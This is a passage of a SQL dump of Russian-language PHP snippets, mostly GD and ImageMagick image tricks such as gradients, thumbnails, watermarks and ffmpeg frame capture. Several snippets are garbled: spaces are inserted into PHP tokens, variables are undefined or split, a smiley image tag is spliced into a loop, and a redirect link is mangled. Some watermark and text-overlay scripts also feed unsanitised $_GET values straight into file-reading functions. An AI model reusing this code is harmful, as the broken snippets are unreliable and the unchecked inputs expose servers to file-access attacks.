типа\r\ngradient.php?type=g&w=15&h=80&s=F01935&e=08B864\r\nРазсмотрим
что здесь что значит.\r\ntype - тип градиента
(горизонтальный - g, вертикальный - v - по
умолчанию)\r\nw - ширина картинки. По
умолчанию 60\r\nh - высота картинки. По
умолчанию 100\r\ns - цвет старта. По
умолчанию чёрный\r\ne - цвет конца (не того
что вы подумали). По умолчанию
белый.\r\nВот и всё))','<?php //определяем
тип: вертикальный или горизонтальный $type
= (isset($_GET[\'type\']) && $_GET[\'type\'] == \'g\') ?
\'g\' : \'v\'; //определяем высоту $height =
(isset($_GET[\'h\'])) ? abs((int)$_GET[\'h\']) : 100;
//определяем ширину $width = (isset($_GET[\'w\'])) ?
abs((int)$_GET[\'w\']) : 60; //определяем цвета $start =
(isset($_GET[\'s\']) &&
preg_match(\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\';
$end = (isset($_GET[\'e\']) &&
preg_match(\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\';
//определяем RGB этих цветов $start_r=
hexdec(substr($start, 0, 2)); $start_g = hexdec(substr($start, 2, 2));
$start_b = hexdec(substr($start, 4, 2)); $end_r = hexdec(substr($end, 0,
2)); $end_g = hexdec(substr($end, 2, 2)); $end_b = hexdec(substr($end, 4,
2)); //создаём картинку $image = imagecreate($width,
$height); //определяем тип и рисуем градиент
if($type == \'g\'){ for($x=0; $x<$width; $x++){ $new_r = $start_r
- intval(($start_r - $end_r) / $width * $x); $new_g = $start_g -
intval(($start_g - $end_g) / $width * $x); $new_b = $start_b -
intval(($start_b - $end_b) / $width * $x); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x,
0, $x, $height, $row_color); } }else{ for($y=0; $y<$height;
$y++){ $new_r = $start_r - intval(($start_r - $end_r) / $height * $y);
$new_g = $start_g - intval(($start_g - $end_g) / $height * $y); $new_b =
$start_b - intval(($start_b - $end_b) / $height * $y); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0,
$y, $width, $y, $row_color); } } header(\'Content-type: image/png\');
imagepng($image); imagedestroy($image); //вот и всё :)
?>','files_4512_4822_',151),(259,20,'Скругление
углов','Скругление углов картинки
используя библиотеку GD.','<?php /** *
Углоскруглятель :) * * Sergey Fedotov
<sergey89@gmail.com> * Version: 1.1 */ $filename
=\'image.jpg\'; $radius = 15; /** * Чем выше rate, тем
лучше качество сглаживания и больше
время обработки и * потребление памяти. *
* Оптимальный rate подбирается в
зависимости от радиуса. */ $rate = 3; $img =
imagecreatefromstring(file_get_contents($filename));
imagealphablending($img, false); imagesavealpha($img,true); $width =
imagesx($img); $height = imagesy($img); $rs_radius = $radius *$rate;
$rs_size = $rs_radius *2; $corner =imagecreatetruecolor($rs_size,
$rs_size); imagealphablending($corner, false); $trans =
imagecolorallocatealpha($corner, 255, 255, 255, 127); imagefill($corner,
0, 0,$trans); $positions = array( array(0, 0, 0, 0), array($rs_radius,
0,$width-$radius, 0), array($rs_radius,$rs_radius, $width-$radius,
$height-$radius), array(0, $rs_radius, 0,$height-$radius), ); foreach
($positions as $pos) { imagecopyresampled($corner, $img, $pos[0],$pos[1],
$pos[2], $pos[3], $rs_radius,$rs_radius, $radius, $radius); } $lx = $ly =
0; $i =-$rs_radius; $y2 =-$i; $r_2 = $rs_radius *$rs_radius; for (; $i
<= $y2; $i++) { $y = $i; $x = sqrt($r_2-$y * $y); $y +=
$rs_radius; $x += $rs_radius; imageline($corner, $x,$y, $rs_size, $y,
$trans); imageline($corner, 0,$y, $rs_size-$x, $y,$trans); $lx = $x; $ly
= $y; } foreach ($positions as $i => $pos) {
imagecopyresampled($img, $corner, $pos[2],$pos[3], $pos[0], $pos[1],
$radius, $radius,$rs_radius, $rs_radius); } header(\'Content-Type:
image/png\'); imagepng($img); imagedestroy($img);
?>','files_4734_5413_',151),(260,20,'Детальная
информация об изображении','Вывод
детальной информации изображения.
Требуется библиотека Image Magick.','<?php $im =
new Imagick(\'image.jpg\'); $info = $im->identifyImage();
echo\'<strong>Базовые свойства
картинки:</strong><br/>\';
echo\'Разрешение: \'.$info[\'geometry\']
[\'width\'].\'x\'.$info[\'geometry\'][\'height\'].\'<br/>\';
echo\'Формат: \'.$info[\'format\'].\'<br/>\';
echo\'Тип: \'.$info[\'type\'].\'<br/>\';
echo\'Сжатие: \'.$info[\'compression\'].\'<br/>\';
echo\'Размер: \'.$info[\'fileSize\'].\'<br />\';
echo\'<br/><br/>\';
echo\'<strong>Все свойства
картинки:</strong><br/>\'; foreach
($im->getImageProperties() as $key => $val) { echo $key.\'
=> \'.$val.\'<br/>\'; }
echo\'<strong>Все профили
картинки:</strong><br/>\'; foreach
($im->getImageProfiles() as $key => $val) {
echo\'Название: \'.$key.\' (Размер:
\'.strlen($val).\')<br/>\'; }
?>','files_1276_1289_',151),(261,20,'Вывод картинок
из директории','Вывод картинок из
директории папок','<?php $dir =
"/img/";//Откуда if (is_dir($dir)) { if ($dh =
opendir($dir)) { while (($file = readdir($dh)) !== false) { echo
"<img src="$file" /">; }
closedir($dh); } }
?>','files_4897_3337_',151),(262,20,'Создание
скриншота сайта','Создание скриншота
сайта\r\nРаботает под виндой на PHP 5 >=
5.2.2','<?php $browser = new
COM("InternetExplorer.Application"); $handle =
$browser->HWND; $browser->Visible = true;
$browser->Navigate("http://ya.ru"); while
($browser->Busy) { com_message_pump(4000); } $im =
imagegrabwindow($handle, 0); $browser->Quit(); imagepng($im,
"iesnap.png");
?>','files_2248_3155_',151),(263,20,'меняющийся
логотип','Для этого можно взять для
примера 3 картинки любые!!!\r\nВот к примеру
logo.png , logo2.png , logo3.png!!!\r\nПосле этого заходи
в style/themes/ваша папка с темой/ находим в нee
кидаем эти три картинки!!!\r\nДалее в вашей
папке с темой создаем три файла 1.php, 2.php,
3.php!!!\r\nВ файле 1.php пишем вот этот код на
вывод первого изображения\r\n<img
src=\'/style/themes/$set[set_them]/logo.png\'>\r\nбез
всяких лишних кавычек и знаков
препинания!!!\r\nВ 2.php пишем почти тоже
самое\r\n<img
src=\'/style/themes/$set[set_them]/logo2.png\'>\r\nНу и 3.php
этот код\r\n<img
src=\'/style/themes/$set[set_them]/logo3.png\'>\r\nДело
почти сделано осталось только зайти в
head.php и после стройки <body> удалить
все что ниже этого и в место того что
удалили вписать это','<? { if
($_SERVER[\'PHP_SELF\']!=\'/index.php\') { echo \'<div
class="logo">\';
srand((double)microtime()*1000000); $rnd = rand(1,3); include
$rnd.\'.php\'; echo "</div>"; } if
($_SERVER[\'PHP_SELF\']==\'/index.php\') { echo \'<div
class="logo">\';
srand((double)microtime()*1000000); $rnd = rand(1,3); include
$rnd.\'.php\'; echo "</div>"; } }
?>','files_2911_4505_',151),(264,20,'Cоздание
мини-изображений','$imgfile - путь к исходному
изображению\r\n$imgthumb - имя для нового
файла\r\n$newwidth - ширина нового файла( как
правило уменьшают по ширине)','function
create_img_gd( $imgfile, $imgthumb, $newwidth ) { if
(function_exists(\'imagecreate\')) { $imginfo = getimagesize( $imgfile );
switch( $imginfo[2] ) { case 1: $type = IMG_GIF; break; case 2: $type =
IMG_JPG; break; case 3: $type = IMG_PNG; break; case 4: $type = IMG_WBMP;
break; default: return $imgfile; } switch( $type ) { case IMG_GIF: if
(!function_exists("imagecreatefromgif")) return $imgfile;
$srcImage = imagecreatefromgif( $imgfile ); break; case IMG_JPG: if
(!function_exists("imagecreatefromjpeg")) return
$imgfile; $srcImage = imagecreatefromjpeg( $imgfile ); break; case IMG_PNG:
if(!function_exists("imagecreatefrompng")) return
$imgfile; $srcImage = imagecreatefrompng( $imgfile ); break; case IMG_WBMP:
if (!function_exists("imagecreatefromwbmp")) return
$imgfile; $srcImage = imagecreatefromwbmp( $imgfile ); break; default:
return $imgfile; } if ( $srcImage ) { $srcWidth = $imginfo[0]; $srcHeight
= $imginfo[1]; $ratioWidth = $srcWidth / $newwidth; $destWidth = $newwidth;
$destHeight = $srcHeight / $ratioWidth; $destImage = imagecreatetruecolor(
$destWidth, $destHeight ); imagealphablending($destImage, true);
imagealphablending($srcImage, false); imagecopyresized($destImage,
$srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);
switch( $type ) { case IMG_GIF: imagegif( $destImage, $imgthumb); break;
case IMG_JPG: imagejpeg( $destImage, $imgthumb); break; case IMG_PNG:
imagepng( $destImage, $imgthumb); break; case IMG_WBMP: imagewbmp(
$destImage, $imgthumb); break; } imagedestroy($srcImage);
imagedestroy($destImage); return $imgthumb; } else { return $imgfile; } }
else { return $imgfile; } }','files_5384_3322_',151),(265,20,'Текст
на картинку','Наложение текста на
картинку','<?php $img = $_GET[\'img\']; $copy =
strtoupper($_SERVER[\'HTTP_HOST\']); if ($img == "")
exit(); writeTextOnImage($img, "Www.MySuperSite.Com");
function writeTextOnImage($filename, $text) { if ($filename ==
"") exit(); $size_img = getimagesize($filename); if
($size_img[2]==2) $src_img = imagecreatefromjpeg($filename); else if
($size_img[2]==1) $src_img = imagecreatefromgif($filename); else if
($size_img[2]==3) $src_img = imagecreatefrompng($filename); if (!$src_img)
exit(); // Назначаем цвет $color =
imagecolorallocatealpha($src_img, 255, 255, 0, 10); $font_file =
"impact.ttf"; $img_x = imagesx($src_img); $img_y =
imagesy($src_img); $height_font = 13; $angle = 0; // Запись
текста поверх изображения $xminus = $img_x - 130;
$box = imagettftext($src_img, $height_font, $angle, $xminus, $img_y - 8,
$color, $font_file, $text); // Вывод изображения в
браузер if ($size_img[2]==2) { header ("Content-type:
image/jpeg"); imagejpeg($src_img); } else if ($size_img[2]==1) {
header ("Content-type: image/gif"); imagegif($src_img); }
else if ($size_img[2]==3) { header ("Content-type:
image/png"); imagepng($src_img); } return true; }
?>','files_2658_3157_',151),(266,20,'Изменяем размер
изображения','Изменяем размер
изображения, и выводим с хорошим
качеством','<?php//Размер $x=100; $y=100;
$i=\'papka/f.jpg\';//Картинка if
(!file_exists("$i")){ echo \'error\'; exit;} $ext =
strtolower(substr($i, 1 + strrpos($i, ".")));
if($ext!="png"){ if($ext!="gif"){
if($ext !="jpg"){ echo \'error\'; exit;}}} $im =
imagecreatetruecolor($x, $y); if($ext=="jpg"){
$img=imagecreatefromJPEG("$i");}
if($ext=="gif"){
$img=imagecreatefromGIF("$i");} if($ext==
"png"){ $img=imagecreatefromPNG("$i");}
$width=imagesx($im g); $height=imagesy($img); imagecopyresampled($im, $img,
0, 0, 0, 0, $conf_x, $conf_y, $width, $height);
if($ext=="jpg"){ header("Content-type:
image/jpeg"); imagejpeg($im);} if($ext=="gif"){
header("Content -type: image/gif"); imagegif($im);}
if($ext=="png"){ header("Content-t ype:
image/png"); imagepng($im);} ImageDestroy($im); //Работает
с форматами jpg, gif и
png?>','files_4813_3382_',151),(267,20,'Компрессия
изображений','Компрессор изображений в
jpeg\r\nПроверялось на png, сжатие почти в 3
раза(без потери качества)\r\nНашел на
западном форуме и немного переделал
функцию\r\nКак пользоваться:\r\nСоздаем
файл(file.php)\r\nВ неё кидаем код что будет
ниже\r\nЧтоды вывести сжатую картинку
нажно написать приблизительно
такое:\r\n<img
src="file.php?file=название_картинки.png&q=степень_сжатия(от
100 до 0, чем меньше тем хуже качество, но
меньше весит)"
alt="">','<?php /** * $_GET[\'file\'] -
название изображения * $_GET[\'q\'] - степень
сжатия */ function compress_image ( $source_url , $quality ) { $info
= getimagesize ( $source_url ) ; if ( $info [ \'mime\' ] == \'image/jpeg\'
) $image = imagecreatefromjpeg ( $source_url ) ; elseif ( $info [ \'mime\'
] == \'image/gif\' ) $image = imagecreatefromgif ( $source_url ) ; elseif (
$info [ \'mime\' ] == \'image/png\' ) $image = imagecreatefrompng (
$source_url ) ; header (\'Content-Type: image/jpeg\'); //save it echo
imagejpeg ( $image , NULL, $quality ) ; //return destination file url }
compress_image
(\'адрес_к_папке_с_изображениями/\'.intval($_GET[\'file\']).\'.png\',$_GET[\'q\']);
?>','files_3627_3715_',151),(268,20,'афическая шкала
(линейка)','код','1. <?php 2. //
горизонтальная 3. $im = imagecreate( 800 ,20); 4. $shift =
true ; 5. for( $i = 0 ; $i <800 ; $i += 10) 6. { 7. $color =
imagecolorallocate ( $im ,255 ,255 , 255 ); 8. imagerectangle ($im ,0 ,0
,800 , 20, $color ); 9. $color = imagecolorallocate ( $im ,0 ,0 ,0 ); 0.
if( $shift ) 1. { 2. $height = 16; 3. } 4. else 5. { 6. $height = 13; 7.
imagestring ( $im ,2 ,($i - 6 ), 1, $i , $color ); 8. } 9. imageline ( $im
,$i ,20 ,$i ,$height , $color ); 0. $shift =!$shift ; 1. } 2. //
вертикальная 3. $im = imagecreate( 30,800 ); 4. $shift = true ;
5. for( $i = 0 ; $i <800 ; $i += 10) 6. { 7. $color =
imagecolorallocate ( $im ,255 ,255 , 255 ); 8. imagerectangle ($im ,0 ,0
,30 ,800 , $color ); 9. $color = imagecolorallocate ( $im ,0 ,0 ,0 ); 0.
if( $shift ) 1. { 2. $height = 26; 3. } 4. else 5. { 6. $height = 23; 7.
imagestring ( $im ,2 ,($height - 16), ( $i - 7), $i ,$color ); 8. } 9.
imageline ( $im ,$height ,$i , 30,$i , $color ); 0. $shift =!$shift ; 1.
?>','files_3342_3910_',151),(269,20,'Получаем
анимированую картинку из
видео','Получаем анимированую картинку
из видео','$file = "file.avi"; $movie = new
ffmpeg_movie($file); $gif=new
ffmpeg_animated_gif("image.gif",100 ,100 ,24); for
($frame = 150; $frame <= 200; $frame++) { $image =
$movie->getFrame($frame);
$gif->addFrame($image);}','files_5589_3821_',151),(270,20,'Изменение
изображение и качества','Функция
изменения размера изображения с
выставлением качества','function img_resize($src, $out,
$width, $height, $color = 0xFFFFFF, $quality = 100) { // Если файл
не существует if (!file_exists($src)) { return false; } $size =
getimagesize($src); $format = strtolower(substr($size[\'mime\'],
strpos($size[\'mime\'], \'/\') + 1)); $picfunc =
\'imagecreatefrom\'.$format; $gor = $width / $size[0]; //
Вертикальное соотношение $ver = $height / $size[1];
// Если не задана высота, вычислить изходя
из ширины, пропорционально if ($height == 0) { $ver
= $gor; $height = $ver * $size[1]; } // Так же если не
задана ширина elseif ($width == 0) { $gor = $ver; $width = $gor
* $size[0];} // Формируем размер изображения
$ratio = min($gor, $ver); // Нужно ли
пропорциональное преобразование if ($gor ==
$ratio) $use_gor = true; else $use_gor = false $new_width = $use_gor ?
$width : floor($size[0] * $ratio); $new_height = !$use_gor ? $height :
floor($size[1] * $ratio); $new_left = $use_gor ? 0 : floor(($width -
$new_width) / 2); $new_top = !$use_gor ? 0 : floor(($height - $new_height)
/ 2); $picsrc = $picfunc($src); // Создание изображения
в памяти $picout = imagecreatetruecolor($width, $height); //
Заполнение цветом imagefill($picout, 0, 0, $color); //
Нанесение старого на новое
imagecopyresampled($picout, $picsrc, $new_left, $new_top, 0, 0, $new_width,
$new_height, $size[0], $size[1]); // Создание файла
изображения imagejpeg($picout, $out, $quality); //
Очистка памяти imagedestroy($picsrc); imagedestroy($picout);
return true;
}','files_1779_1805_',151),(271,20,'JAD-генератор','JAD-генератор','<?php
$file = \'data/loads/ application.jar\'; header(\'Content-type: text/
vnd.sun.j2me.app-desсriptor\'); header(\'Content- Disposition:
filename=applicatio echo file_get_contents
(\'zip://\'.dirname(__FILE__).\'/\'. $file.\'#META-INF/
MANIFEST.MF\')."n MIDlet-Jar-Size:
".filesize($file)."n MIDlet-Jar-URL: <a
href="http:// phpzona.ru/go.php? go=aHR0cDovL1wiLiRfU0VSVkVS
$_SERVER [\'SERVER_NAME\'].dirname ($_SERVER[\'SCRIPT_NAME\']).\'/\'.
$file;</a>
?>','files_4692_5047_',151),(272,20,'Анимация из
видео','Анимация из видео','<?php $file =
"file.avi"; $movie = new ffmpeg_movie ($file); $gif=new
ffmpeg_animated_gif ("image.gif",100 ,100 ,24); for (
$frame = 150; $frame <= 20 +<img src="/style/smiles/
smile.gif" alt="+)" /> { $image =
$movie->getFrame ($frame); $gif->addFrame($image);}
?>','files_2881_2081_',151),(273,20,'Вынимаем иконку
из Java- приложения','Вынимаем иконку из Java-
приложения','<?php if(!isset($_GET[\'jar\']))exit; $zip =
new ZipArchive; if ($zip->open(base64_decode ($_GET[\'jar\'])) ===
TRUE) { if($manifest = $zip- >getFromName(\'META-INF/
MANIFEST.MF\')){ if (strpos($manifest, \'MIDlet- Icon: \') !== FALSE){ $jad
= explode(\'MIDlet-Icon: \', $manifest); $icon =
str_replace("n",\' \', $jad [1]); $icon = str_replace
("r",\' \', $icon); $icon = strtok($icon,\' \'); $icon =
preg_replace(\'#/ #\', NULL, $icon); } else $icon=\'icon.png\'; }else exit;
if($image = $zip->getFromName ($icon)){ $image =
imagecreatefromstrin ($image); $width=imagesx($image);
$height=imagesy($image); $x_ratio=16/$width; $y_ratio=16/$height;
if(($width<=16)&& ($height<=16)){
$tn_width=$width; $tn_height=$height;
}elseif(($x_ratio*$height)<16){ $tn_height=ceil($x_ratio* $height);
$tn_width=16; }else{ $tn_width=ceil($y_ratio* $width); $tn_height=16; }
$dst=ImageCreate($tn_width, $tn_height); imagecopyresampled ($dst, $image,
0, 0, 0, 0, $tn_widt $tn_height,$width,$height); $image = $dst; }else{ //
эта иконка будеет, если в архи $image =
imagecreatefrompng (\'my_icon.png\'); } header(\'Content-type: image/
png\'); ImagePng($image); ImageDestroy($image); $zip->close(); }
?>','files_3678_4710_',151),(274,20,'Анимационный
текст (GIF)','Создастся анимация с текстом
PHPcodes.RU. Требуется библиотека Image
Magick','<?php $animation = new Imagick();
$animation->setFormat(\'gif\'); $color = new
ImagickPixel(\'white\'); $color->setColor(\'white\'); $string =
\'PHPcodes.RU\'; $draw = new ImagickDraw();
//$draw->setFont(\'Arial\'); for ($i = 0; $i <=
strlen($string); $i++) { $part = substr($string, 0, $i);
$animation->newImage(100, 40, $color);
$animation->annotateImage($draw, 10, 20, 0, $part);
$animation->setImageDelay(30); }
//$draw->setFont(\'Arial-Bold\');
$draw->setTextDecoration(imagick::DECORATION_UNDERLINE);
$animation->newImage(100, 40, $color);
$animation->annotateImage($draw, 10, 20, 0, $string);
$animation->setImageDelay(70); header(\'Content-Type: image/gif\');
echo $animation->getImagesBlob();
?>','files_3282_2519_',151),(275,20,'Мини-диаграмма в
виде полоски','Маленькая диаграмма в виде
полосски. Через GET запрос передаем
количество процентов, которое надо
зарисовать. Например rat.php?p=42\r\nЗарисуется
42% полоски.','<?php //Определяем сколько
надо закрасить $p = (isset($_GET[\'p\']) &&
$_GET[\'p\']>=0 && $_GET[\'p\']<=100) ?
(int)$_GET[\'p\'] : 50; //Создаем картинку $image =
imagecreate(123, 8); //Цвет фона $bg = imagecolorallocate
($image, 0, 0, 0); //Цвет активной части и
надписи к-ва % $act = imagecolorallocate($image, 210, 210, 210);
//Цвет пассивной части $emp =
imagecolorallocate($image, 250, 250, 250); imagefill($image, 0, 0, $bg);
imagefilledrectangle($image, 1, 1, 100, 6, $emp); if($p > 0)
imagefilledrectangle($image, 1, 1, $p, 6, $act); //Пишем к-во %
imagestring($image, 1, 102, 0, $p.\'%\', $act); header(\'Content-type:
image/png\'); imagepng($image); imagedestroy($image);
?>','files_2834_3595_',151),(276,20,'Резка
картинок','Резка картинок на
сайте','<?php $w_new = \'100\'; $foto = \'foto.jpg\'; $old =
imageCreateFromJpeg("$foto"); $w = imageSX($old); $h =
imageSY($old); $new = $h / $w; $h_new= $w_new * $new; $new =
imageCreate($w_new, $h_new); $new = imagecreatetruecolor($w_new, $h_new);
imageCopyResized($new, $old, 0, 0, 0, 0, $w_new, $h_new, $w, $h);
imageJpeg($new,"","80");
?>','files_3753_2928_',151),(277,20,'Наложение
картинки на картинку','Наложение
картинки на\r\nкартинку','<? php $ img = $_ GET [
" img" ]; / / / путь к картинке
которую копирайтим $ im = imagecreatefromjpeg ( $ img); $
lg = imagecreatefrompng ( " copyrite . png" ); / //
наша картинка копирайта $ img_ x = imagesx( $ im); $
img_ y = imagesy( $ im); $ img_ x _ copy = imagesx( $ lg); $ img_ y _ copy
= imagesy( $ lg); imagecopy ( $ im, $ lg, $ img_ x- $ img_ x _ copy , $
img_ y - $ img_ y _ copy , 0 , 0, $ img_ x _ copy , $ img_ y _ copy );
header (" Content- Type : image / jpeg " ); imagejpeg (
$im ); imagedestroy ( $ im); / / /чистим мусор imagedestroy ( $
lg); / / /чистим мусор ?
>','files_3045_4984_',151),(278,20,'Наложение
иконки/текста','Наложение иконки/текста
на изображение.','function copyImage ($sOrigImg, $sWmImg,
$text) { $aImgInfo = getimagesize($sOrigImg); $aWmImgInfo =
getimagesize($sWmImg); if (is_array($aImgInfo) &&
count($aImgInfo)) { header ("Content-type: image/png");
$iSrcWidth = $aImgInfo[0]; $iSrcHeight = $aImgInfo[1]; $rImage =
imagecreatetruecolor($iSrcWidth+$iFrameSize*2, $iSrcHeight+$iFrameSize*2);
// Создаем новое изображение $rSrcImage =
imagecreatefromjpeg($sOrigImg); // Создаем исходное
изображение imagecopy($rImage, $rSrcImage, $iFrameSize,
$iFrameSize, 0, 0, $iSrcWidth, $iSrcHeight); // Копируем
полученное изображение на
изображение-источник if (is_array($aWmImgInfo)
&& count($aWmImgInfo)) { $rWmImage =
imagecreatefrompng($sWmImg); // Создаем изображение
водяного знака imagecopy($rImage, $rWmImage,
$iSrcWidth-$aWmImgInfo[0], $iFrameSize, 0, 0, $aWmImgInfo[0],
$aWmImgInfo[1]); // Копируем изображение
водяного знака на изображение источник }
if ($text) { $iTextColor = imagecolorallocate($rImage, 255, 255, 255); //
Определяем цвет текста imagestring($rImage, 5,
$iFrameSize*2, $iFrameSize*2, $text, $iTextColor); // Рисуем
текст } return imagepng($rImage); // Выводим
изображение } else { return \'Image error!\'; } } /*
Использование */ $file =
\'content/album/df1a0f99bf79d388d91acafd836aa25c.jpg\'; // Файл с
изображением $copy = \'images/icon/cross.png\'; //
Копирайт $text = \'Text\'; // Текст echo copyImage($file,
$copy, $text); //
Вывод','files_3449_4870_',151),(279,20,'Социальные
иконки','Может кому нибудь нужны.','echo
"<div class=\'pluso pluso-theme-color
pluso-small\'><a
class=\'pluso-facebook\'></a><a
class=\'pluso-twitter\'></a><a
class=\'pluso-vkontakte\'></a><a
class=\'pluso-odnoklassniki\'></a><a
class=\'pluso-google\'></a><a
class=\'pluso-livejournal\'></a><a
class=\'pluso-moimir\'></a><a
class=\'pluso-liveinternet\'></a><a
class=\'pluso-email\'></a></div><br
/> <script
type=\'text/javascript\'>if(!window.pluso){pluso={version:\'0.9.1\',url:\'http://share.pluso.ru/\'};h=document.getElementsByTagName(\'head\')[0];l=document.createElement(\'link\');l.href=pluso.url+\'pluso.css\';l.type=\'text/css\';l.rel=\'stylesheet\';s=document.createElement(\'script\');s.src=pluso.url+\'pluso.js\';s.charset=\'UTF-8\';h.appendChild(l);h.appendChild(s)}</script>";','files_5032_4807_',151),(280,20,'Плавное
выдвигающееся
меню','$(document).ready(function(){\r\n$(".btn-slide";).click(function(){
//если сделан
клик\r\n$("#panel";).slideToggle("slow";);\r\n$(this).toggleClass("active";);
return false; //меняем класс\r\n\r\nCSS-----\r\n#panel
{\r\nbackground-color: #FFCC99;\r\nborder: 1px solid #DBE0EA;\r\npadding:
4px 4px 4px 4px;\r\nbackground: #FFCC99;\r\nheight: 40px;\r\ndisplay:
none;\r\n\r\n}\r\n.slide {\r\nfont-weight: bold;\r\nbackground-color:
#FF6633;\r\nborder: 1px solid #D7CF9E;\r\npadding: 4px 4px 4px
4px;\r\nbackground: #FF6633;\r\ncolor: #FFFFFF;\r\n}\r\n.btn-slide
{\r\nbackground: #FF6633;\r\nwidth: 200px;\r\nheight: 20px;\r\ndisplay:
block\r\n}\r\n#bs-panel{\r\nposition: absolute;\r\nz-index:
999;\r\n}\r\n});\r\n});','$(document).ready(function(){
$(".btn-slide").click(function(){
$("#panel").slideToggle("slow");
$(this).toggleClass("active"); return false; });
});','files_1454_3967_',151),(281,20,'Создание скриншота
сайта','Создание\r\nскриншота
сайта\r\nРаботает под виндой на\r\nPHP 5 >=
5.2.2','<?php $browser = new
COM("InternetExplorer.Application"); $handle =
$browser->HWND; $browser->Visible = true;
$browser->Navigate("http://ya.ru"); while
($browser->Busy) { com_message_pump(4000); } $im =
imagegrabwindow($handle, 0); $browser->Quit(); imagepng($im,
"iesnap.png");
?>','files_3125_1879_',151),(282,20,'Рисуем
пирамиду','Давайте\r\nотвлечемся и
займемся\r\nграфикой, и изучим\r\nполигоны,
что дает талчек\r\nв изучении 3D
графики.','header ("Content-type: image/png");
//создадим холст размером 1000*1000 $H=1000; $W=$H;
/////////////////////////////////////////////////////// #обозначим
точки на холсте $a=array(100,900); $b=array(300,700);
$c=array(800,700); $d=array(600,900); $k=array(400,100); //создание
холста $img = imagecreatetruecolor($H, $W); //установка
цвета $color = imagecolorallocate($img,225, 85, 190);
######################################## #основание
######################################## $e=array_merge($a,$b,$c,$d);
$col=count($e)/2; imagepolygon($img,$e,$col, $color);
######################################## #грань1
######################################## $color =
imagecolorallocate($img,125, 85, 90); # $e1=array_merge($a,$b,$k);
$col=count($e1)/2; imagepolygon($img,$e1,$col, $color);
######################################## #грань2
######################################## $color =
imagecolorallocate($img,225, 85, 90); # $e2=array_merge($a,$d,$k);
$col=count($e2)/2; imagepolygon($img,$e2,$col, $color);
######################################## #грань3
######################################## $color =
imagecolorallocate($img,125, 185, 190); # $e2=array_merge($d,$c,$k);
$col=count($e2)/2; imagepolygon($img,$e2,$col, $color);
######################################## #грань4
######################################## $color =
imagecolorallocate($img,225, 185, 190); # $e2=array_merge($c,$b,$k);
$col=count($e2)/2; imagepolygon($img,$e2,$col, $color); //вывод
изображения
imagepng($img);','files_4317_3121_',151),(283,20,'Нанести
копирайт на картинку','Нанести копирайт
на картинку','<?php $img = $_GET[\'img\']; /// путь
к картинке которую копирайтим $im =
imagecreatefromjpeg($img); $lg = imagecreatefrompng(\'copywrite.png\'); ///
наша картинка копирайта $img_x = imagesx($im); $img_y
= imagesy($im); $img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg);
imagecopy($im, $lg, $img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0,
$img_x_copy, $img_y_copy); header(\'Content-Type: image/jpeg\');
imagejpeg($im); imagedestroy($im); /// чистиммусор
imagedestroy($lg); /// чистим мусор
?>','files_2826_1303_',151),(284,20,'Генерируем
случайное число на картинке','Генерируем
случайное число на картинке','<?php /*
*Генерация случайного числа на картинке
*автор: nc_soft *25.08.07 */ $rand = mt_rand(10000,99999);
//случайное число $img = "fone.jpg";
//фон (jpg файл) 90*68 $pic = imageCreateFromjpeg($img);
//создаем картинку $size = 24; //размер шрифта
$angle = rand (-10, 10); //угол поворота $x = rand(-2,15);
//смещение по оризонтали $y = rand(35,60);
//смещение по вертикали $color = rand(1000,9999999);
//случайный цвет $font = \'times\'; //шрифт
ImageTTFtext($pic, $size, $angle , $x, $y, $color, $font, $rand); /*
imagettftext(image, size, angle, x, y, col, fontfile, text) Итак, size
— размер шрифта текста в пикселях, angle —
угол наклона текста в градусах (0 —
нормальный горизонтальный вывод слева
направо, 90, к примеру — снизу вверх, и так
далее по кругу против часовой стрелки).
Параметр fontfile — путь к самому .ttf файлу
шрифта и, наконец, text — строка,
представляющая выводимый текст, функция
предусматривает возможность переноса
строк, тоесть удобна для вывода именно
текста. Для переноса нужно вставить
последовательность символов \\n\\r
(перенос строки и возврат каретки). */
//выдача header(\'Content-type:image/jpeg\'); imagejpeg($pic);
imagedestroy($pic); ?>','files_1815_5121_',151),(285,20,'Вывод
надписи на изображении ttf шрифтом','Вывод
надписи на изображении ttf
шрифтом','<?php /* *Вывод надписи на
изображении ttf шрифтом *автор: nc_soft *12.10.07 */
//текст в утф-8 (можно с переносом строки)
$text="выводимая \\n строка";
//АБСОЛЮТНЫЙ путь к шрифту! например
шрифт arial.ttf лежит в папке скрипта
$font=getcwd().\'/arial.ttf\'; //создаем изображение
100*100 $im = imagecreatetruecolor(100, 100); //белый фон
изображения $white = imagecolorallocate($im, 255, 255, 255);
//цвет букв $red = imagecolorallocate($im, 255, 0, 0);
//заливаем белым фоном imagefilledrectangle($im, 0, 0,
100, 100, $white); //наносим текст imagettftext($im, 9, 0, 10,
20, $red, $font,$text); /* imagettftext ( идентификатор,
размер шрифта, угол поворота, начальная
точка по Х, начальная точка по У, путь к
шрифту, текст ) */ //выдача в браузер
header(\'Content-Type: image/jpeg\'); imagejpeg($im);
?>','files_4328_3063_',151),(286,20,'Вывод картинки
(новичкам)','Вывод картинки. Думаю
новичкам пригодиться:)\r\nimg - директория с
картинкой\r\npic.png - сама картинка\r\npic -
подпись к картинке','echo \'<img
src="img/pic.png"
alt="pic"/>\';','files_5624_1683_',151),(287,19,'Мелодия
на странице)','Мелодия на
странице','<body bgsound src=" http://
url_мелодии(midi.mp3)" loop="число
повторений" volume="громкость(-1000 -
0)" balance="баланс(-1000 - 1000)"
/>','files_5407_2531_',151),(288,19,'Проверка
расширения ffmpeg','Проверяем на
существование расширения ffmpeg на
сервере','<?php if(extension_loaded(\'ffmpeg\')) echo
\'Расширение ffmpeg загружено :)\'; else echo \'Увы,
расширение ffmpeg не загружено :(\';
?>','files_3601_3452_',151),(289,19,'Снятие скриншота
с 3gp видеороликаа','Снятие скриншота с 3gp
видеоролика','<?php /* * Снятие
скриншота с 3gp видеоролика * автор: nc_soft
* 17.01.08 */ if (!class_exists(ffmpeg_movie)) {
die(\'ничего не выйдет, нужна ffmpeg на
хостинге\'); } //создание объекта
(тестовый файл test.3gp) $file=\'test.3gp\'; if
(file_exists($file)) { $mov = new ffmpeg_movie($file); } else
{ die(\'невозможно найти файл\'); }
